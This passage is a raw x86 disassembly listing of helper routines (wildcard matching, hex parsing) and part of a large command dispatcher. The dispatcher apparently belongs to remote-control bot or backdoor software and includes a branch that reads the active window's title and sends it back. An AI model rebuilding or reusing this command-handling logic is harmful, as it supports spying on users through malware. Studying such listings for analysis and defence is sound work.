		jz	short loc_40A562
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40A586
; ---------------------------------------------------------------------------


loc_40A562:				; CODE XREF: sub_40A50E+3Dj
		push	offset dword_4196D4
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_4105FB
		pop	ecx


loc_40A586:				; CODE XREF: sub_40A50E+52j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4196B4
		push	0
		push	[ebp+var_4]
		push	offset sub_40A4A4
		call	sub_4095A4
		add	esp, 18h

locret_40A5BC:				; CODE XREF: sub_40A50E+Aj
					; sub_40A50E+23j
		leave
		retn
sub_40A50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5BE	proc near		; CODE XREF: sub_40A5BE+32p
					; sub_40A5BE+70p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A603
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A5DD
		mov	al, 1
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5DD:				; CODE XREF: sub_40A5BE+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A5FC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5FC:				; CODE XREF: sub_40A5BE+28j
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A603:				; CODE XREF: sub_40A5BE+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A614
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A614:				; CODE XREF: sub_40A5BE+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A63A
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A63A:				; CODE XREF: sub_40A5BE+64j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A65B
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A65B:				; CODE XREF: sub_40A5BE+85j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69E
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A67C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A687


loc_40A67C:				; CODE XREF: sub_40A5BE+B1j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69A


loc_40A687:				; CODE XREF: sub_40A5BE+BCj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69A:				; CODE XREF: sub_40A5BE+C7j
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69E:				; CODE XREF: sub_40A5BE+A6j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A6E7
		and	[ebp+var_4], 0
		jmp	short loc_40A6B6
; ---------------------------------------------------------------------------


loc_40A6AF:				; CODE XREF: sub_40A5BE:loc_40A6E5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A6B6:				; CODE XREF: sub_40A5BE+EFj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A6D4
		mov	al, 1
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6D4:				; CODE XREF: sub_40A5BE+110j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A6E5
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6E5:				; CODE XREF: sub_40A5BE+121j
		jmp	short loc_40A6AF
; ---------------------------------------------------------------------------


loc_40A6E7:				; CODE XREF: sub_40A5BE+E9j
		xor	al, al

locret_40A6E9:				; CODE XREF: sub_40A5BE+1Aj
					; sub_40A5BE+39j ...
		leave
		retn
sub_40A5BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6EB	proc near		; CODE XREF: sub_4097A7+10Ap
					; sub_4098F3+155p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A730
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A70A
		mov	al, 1
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A70A:				; CODE XREF: sub_40A6EB+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A729
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A729:				; CODE XREF: sub_40A6EB+28j
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A730:				; CODE XREF: sub_40A6EB+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A741
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A741:				; CODE XREF: sub_40A6EB+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A767
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_40A6EB+64j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jl	short loc_40A77D
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ah
		jle	short loc_40A793


loc_40A77D:				; CODE XREF: sub_40A6EB+85j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 61h
		jl	short loc_40A7BC
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Ah
		jg	short loc_40A7BC


loc_40A793:				; CODE XREF: sub_40A6EB+90j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		xor	eax, 20h
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A7BC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7BC:				; CODE XREF: sub_40A6EB+9Bj
					; sub_40A6EB+A6j ...
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A7DD
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7DD:				; CODE XREF: sub_40A6EB+DAj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A820
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A7FE
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A809


loc_40A7FE:				; CODE XREF: sub_40A6EB+106j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A81C


loc_40A809:				; CODE XREF: sub_40A6EB+111j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A81C:				; CODE XREF: sub_40A6EB+11Cj
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A820:				; CODE XREF: sub_40A6EB+FBj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A869
		and	[ebp+var_4], 0
		jmp	short loc_40A838
; ---------------------------------------------------------------------------


loc_40A831:				; CODE XREF: sub_40A6EB:loc_40A867j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A838:				; CODE XREF: sub_40A6EB+144j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A856
		mov	al, 1
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A856:				; CODE XREF: sub_40A6EB+165j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A867
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A867:				; CODE XREF: sub_40A6EB+176j
		jmp	short loc_40A831
; ---------------------------------------------------------------------------


loc_40A869:				; CODE XREF: sub_40A6EB+13Ej
		xor	al, al

locret_40A86B:				; CODE XREF: sub_40A6EB+1Aj
					; sub_40A6EB+39j ...
		leave
		retn
sub_40A6EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A86D	proc near		; CODE XREF: sub_40A8AD+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], 1
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A884
		push	1
		pop	eax
		jmp	short locret_40A8AB
; ---------------------------------------------------------------------------


loc_40A884:				; CODE XREF: sub_40A86D+10j
		mov	[ebp+var_8], 1
		jmp	short loc_40A894
; ---------------------------------------------------------------------------


loc_40A88D:				; CODE XREF: sub_40A86D+39j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40A894:				; CODE XREF: sub_40A86D+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]


loc_40A89A:				; DATA XREF: .data:0041AE78o
					; .data:0041AEBCo ...
		jg	short loc_40A8A8
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_40A88D
; ---------------------------------------------------------------------------


loc_40A8A8:				; CODE XREF: sub_40A86D:loc_40A89Aj
		mov	eax, [ebp+var_4]

locret_40A8AB:				; CODE XREF: sub_40A86D+15j
		leave
		retn
sub_40A86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8AD	proc near		; CODE XREF: sub_406509+26p
					; sub_40A9CF+193Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_20], 0
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		movsb
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jnz	short loc_40A90C
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 78h
		jz	short loc_40A905
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 58h
		jnz	short loc_40A90C


loc_40A905:				; CODE XREF: sub_40A8AD+48j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_40A90C:				; CODE XREF: sub_40A8AD+33j
					; sub_40A8AD+56j
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		jmp	short loc_40A927
; ---------------------------------------------------------------------------


loc_40A920:				; CODE XREF: sub_40A8AD+116j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_40A927:				; CODE XREF: sub_40A8AD+71j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_28]
		jge	loc_40A9C8
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_416DE4	; tolower
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 30h
		jl	short loc_40A95D
		cmp	[ebp+var_8], 39h
		jg	short loc_40A95D
		mov	eax, [ebp+var_8]
		sub	eax, 30h
		mov	[ebp+var_10], eax
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A95D:				; CODE XREF: sub_40A8AD+9Dj
					; sub_40A8AD+A3j
		cmp	[ebp+var_8], 61h
		jl	short loc_40A99C
		cmp	[ebp+var_8], 66h
		jg	short loc_40A99C
		and	[ebp+var_24], 0
		jmp	short loc_40A976
; ---------------------------------------------------------------------------


loc_40A96F:				; CODE XREF: sub_40A8AD:loc_40A998j
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax


loc_40A976:				; CODE XREF: sub_40A8AD+C0j
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		test	eax, eax
		jz	short loc_40A99A
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		cmp	[ebp+var_8], eax
		jnz	short loc_40A998
		mov	eax, [ebp+var_24]
		add	eax, 0Ah
		mov	[ebp+var_10], eax


loc_40A998:				; CODE XREF: sub_40A8AD+E0j
		jmp	short loc_40A96F
; ---------------------------------------------------------------------------


loc_40A99A:				; CODE XREF: sub_40A8AD+D3j
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A99C:				; CODE XREF: sub_40A8AD+B4j
					; sub_40A8AD+BAj
		xor	eax, eax
		jmp	short loc_40A9CB
; ---------------------------------------------------------------------------


loc_40A9A0:				; CODE XREF: sub_40A8AD+AEj
					; sub_40A8AD:loc_40A99Aj
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_14]
		dec	eax
		push	eax
		push	10h
		call	sub_40A86D
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	loc_40A920
; ---------------------------------------------------------------------------


loc_40A9C8:				; CODE XREF: sub_40A8AD+80j
		mov	eax, [ebp+var_C]


loc_40A9CB:				; CODE XREF: sub_40A8AD+F1j
		pop	edi
		pop	esi
		leave
		retn
sub_40A8AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9CF	proc near		; CODE XREF: sub_40D871+C95p
					; sub_40D871+D9Cp

var_6424	= dword	ptr -6424h
var_6420	= dword	ptr -6420h
var_641C	= dword	ptr -641Ch
var_6418	= dword	ptr -6418h
var_6414	= dword	ptr -6414h
var_6410	= dword	ptr -6410h
var_640C	= dword	ptr -640Ch
var_6408	= dword	ptr -6408h
var_6404	= dword	ptr -6404h
var_6400	= dword	ptr -6400h
var_63FC	= dword	ptr -63FCh
var_63F8	= dword	ptr -63F8h
var_63F4	= dword	ptr -63F4h
var_63F0	= dword	ptr -63F0h
var_63EC	= dword	ptr -63ECh
var_63E8	= dword	ptr -63E8h
var_63E4	= dword	ptr -63E4h
var_63E0	= dword	ptr -63E0h
var_63DC	= dword	ptr -63DCh
var_63D8	= dword	ptr -63D8h
var_63D4	= dword	ptr -63D4h
var_63D0	= dword	ptr -63D0h
var_63CC	= dword	ptr -63CCh
var_63C8	= dword	ptr -63C8h
var_63C4	= dword	ptr -63C4h
var_63C0	= dword	ptr -63C0h
var_63BC	= dword	ptr -63BCh
var_63B8	= dword	ptr -63B8h
var_63B4	= word ptr -63B4h
var_63B2	= word ptr -63B2h
var_63B0	= dword	ptr -63B0h
var_63A4	= dword	ptr -63A4h
var_63A0	= byte ptr -63A0h
var_639C	= dword	ptr -639Ch
var_6398	= byte ptr -6398h
var_6397	= byte ptr -6397h
var_6396	= byte ptr -6396h
var_6395	= byte ptr -6395h
var_6394	= byte ptr -6394h
var_6393	= byte ptr -6393h
var_6392	= byte ptr -6392h
var_6391	= byte ptr -6391h
var_6390	= byte ptr -6390h
var_638F	= byte ptr -638Fh
var_638E	= byte ptr -638Eh
var_638D	= byte ptr -638Dh
var_638C	= dword	ptr -638Ch
var_6388	= byte ptr -6388h
var_5F84	= dword	ptr -5F84h
var_5F80	= byte ptr -5F80h
var_5B7C	= dword	ptr -5B7Ch
var_5B78	= dword	ptr -5B78h
var_5B74	= byte ptr -5B74h
var_5A70	= dword	ptr -5A70h
var_5A6C	= dword	ptr -5A6Ch
var_5A68	= dword	ptr -5A68h
var_5A64	= byte ptr -5A64h
var_1A64	= dword	ptr -1A64h
var_1A60	= byte ptr -1A60h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_A38		= byte ptr -0A38h
var_A30		= dword	ptr -0A30h
var_A2C		= dword	ptr -0A2Ch
var_A28		= dword	ptr -0A28h
var_A24		= dword	ptr -0A24h
var_A20		= dword	ptr -0A20h
var_A1C		= dword	ptr -0A1Ch
var_A18		= byte ptr -0A18h
var_9F8		= dword	ptr -9F8h
var_9F4		= byte ptr -9F4h
var_9EF		= byte ptr -9EFh
var_9EA		= byte ptr -9EAh
var_9E5		= byte ptr -9E5h
var_9E0		= byte ptr -9E0h
var_9DB		= byte ptr -9DBh
var_9D8		= byte ptr -9D8h
var_9A4		= byte ptr -9A4h
var_970		= byte ptr -970h
var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_8D3		= byte ptr -8D3h
var_8D2		= byte ptr -8D2h
var_8CD		= byte ptr -8CDh
var_8CC		= byte ptr -8CCh
var_8C7		= byte ptr -8C7h
var_8C6		= byte ptr -8C6h
var_8C1		= byte ptr -8C1h
var_8C0		= byte ptr -8C0h
var_8BB		= byte ptr -8BBh
var_8B8		= byte ptr -8B8h
var_8A0		= byte ptr -8A0h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_718		= byte ptr -718h
var_59B		= byte ptr -59Bh
var_598		= byte ptr -598h
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_1F0		= byte ptr -1F0h
var_1CC		= byte ptr -1CCh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_183		= byte ptr -183h
var_83		= dword	ptr -83h
var_7F		= byte ptr -7Fh
var_19		= byte ptr -19h
var_B		= byte ptr -0Bh
var_8		= byte ptr -8
var_5		= dword	ptr -5
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 6424h
		call	sub_416BC0
		push	esi
		push	edi
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_1A8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_183]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_83], eax
		push	7Ah
		push	[ebp+arg_10]
		lea	eax, [ebp+var_7F]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_5], 1
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F18
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AA59
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415AF0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AA59:				; CODE XREF: sub_40A9CF+76j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AACF
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40AAAC
		lea	eax, [ebp+var_214]
		push	eax
		lea	eax, [ebp+var_1F0]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1CC]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AAAC:				; CODE XREF: sub_40A9CF+A6j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D7E5
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AACF:				; CODE XREF: sub_40A9CF+9Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB21
		push	200h
		lea	eax, [ebp+var_414]
		push	eax
		call	dword_4171D8	; GetForegroundWindow
		push	eax
		call	dword_4171E4	; GetWindowTextA
		test	eax, eax
		jle	short loc_40AB1C
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419EDC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AB1C:				; CODE XREF: sub_40A9CF+130j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB21:				; CODE XREF: sub_40A9CF+113j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ED0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB56
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4077DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB56:				; CODE XREF: sub_40A9CF+165j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AC89
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AC84
		push	180h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 3
		jle	short loc_40ABFE
		push	offset dword_419EC0
		mov	eax, [ebp+var_418]
		lea	eax, [ebp+eax+var_59B]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40ABFE
		mov	eax, [ebp+var_418]
		and	[ebp+eax+var_59B], 0
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_4078A0
		pop	ecx
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax


loc_40ABFE:				; CODE XREF: sub_40A9CF+1E1j
					; sub_40A9CF+1FFj
		mov	eax, [ebp+var_418]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_418]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AC1F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC1F:				; CODE XREF: sub_40A9CF+249j
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF29
		pop	ecx
		pop	ecx
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF59
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		push	[ebp+var_418]
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		lea	eax, [ebp+var_718]
		push	eax
		push	offset dword_419E9C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AC84:				; CODE XREF: sub_40A9CF+1A7j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC89:				; CODE XREF: sub_40A9CF+19Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AD84
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_71C], eax
		mov	eax, [ebp+var_71C]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_71C]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AD0C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD0C:				; CODE XREF: sub_40A9CF+336j
		lea	eax, [ebp+var_8A0]
		push	eax
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_720]
		and	[ebp+eax+var_8A0], 0
		lea	eax, [ebp+var_8A0]
		push	eax
		push	offset dword_419E70
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AD7F:				; CODE XREF: sub_40A9CF+2DAj
					; sub_40A9CF+2ECj ...
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: sub_40A9CF+2CDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E60
		neg	eax
